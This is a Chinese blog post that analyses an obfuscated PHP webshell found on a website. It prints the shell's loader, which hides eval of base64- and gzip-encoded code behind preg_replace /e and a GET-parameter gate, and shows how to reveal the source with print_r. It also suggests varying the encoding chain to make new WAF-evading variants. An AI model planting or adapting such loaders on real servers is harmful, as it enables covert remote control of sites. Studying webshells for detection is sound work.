由一枚php大马(过狗)引发的研究思路

由一枚php大马(过狗)引发的研究思路

 

      今天t00ls有位朋友说他的网站根目录出现了疑似木马,就分享了出来,让大家参看参看,咋一看,这枚大马很面熟,其实真的是有点面熟哦,然后就小思考了一下:

<?php
if($_GET['baidu']!="Google"){
       exit;
}
error_reporting(E_ERROR);
@ini_set('display_errors','Off');
@ini_set('max_execution_time',20000);
@ini_set('memory_limit','256M');
header("content-Type: text/html;charset=gb2312");
$password ="fba966a3fe552cb6ca480d07d6888173";
define('VERSION','tef');
$liner ="pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'
e。。。此处省略很多很多的东西。。。R'\x29\x29\x29\x3B",".");
?>

 直接访问脚本的话是可以的哦。

 

      但是脚本原本的密码是没有解密出来的,我本地调试的时候修改了密码,访问结果如下:

      我去除中间的密文,那么就是下面的一段代码了:

 

?php
       if($_GET['baidu']!="Google"){exit;}
       error_reporting(E_ERROR);
       ini_set('display_errors','Off');
       ini_set('max_execution_time',20000);
       ini_set('memory_limit','256M');
       header("content-Type:text/html; charset=gb2312");
       $password= "fba966a3fe552cb6ca480d07d6888173";
       define('VERSION','tef');
       $liner="pr"."e"."g_"."re"."p"."l"."ace";
       $liner("/.*/e", "eval(gzuncompress(base64_decode('文中那段密文')));" , ".");
?>

其实代码中,核心函数就是preg_replace、eval 、gzuncompress、base64_decode。

      组合一下,威力就显示出来,当时看到这个的时候,我自己想的是如何对密文进行解密,然而一位大神直接print_r给搞定了,一直忽略了print_r 与printf的作用。

      今天是深深的体会到了,把eval改成print_r加密的内容就显示出来了

      如下这样使用,就是源码了:

 

 

<?php
       if($_GET['baidu']!="Google"){exit;}
       error_reporting(E_ERROR);
       ini_set('display_errors','Off');
       ini_set('max_execution_time',20000);
       ini_set('memory_limit','256M');
       header("content-Type:text/html; charset=gb2312");
       $password= "fba966a3fe552cb6ca480d07d6888173";
       define('VERSION','tef');
       $liner="pr"."e"."g_"."re"."p"."l"."ace";
       $liner("/.*/e", "print_r(gzuncompress(base64_decode('文中那段密文')));" , ".");
?>

 然后就有了下面的想法,这里的才是重点:

        preg_replace(str,replacement, subject) 我们是不是可以换掉?

        eval(gzuncompress(base64_decode(&#39;文中那段密文&#39;))) 我们是不是也可以改造一下呢?比如一些方法

    {

        eval(urldecode(gzuncompress(base64_decode(

        eval(gzuncompress(base64_decode(

        eval(base64_decode(gzuncompress(base64_decode(

        echo(gzinflate(base64_decode(

    }

      由于要睡觉去了,就不研究了,有兴趣的朋友可以研究一下。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值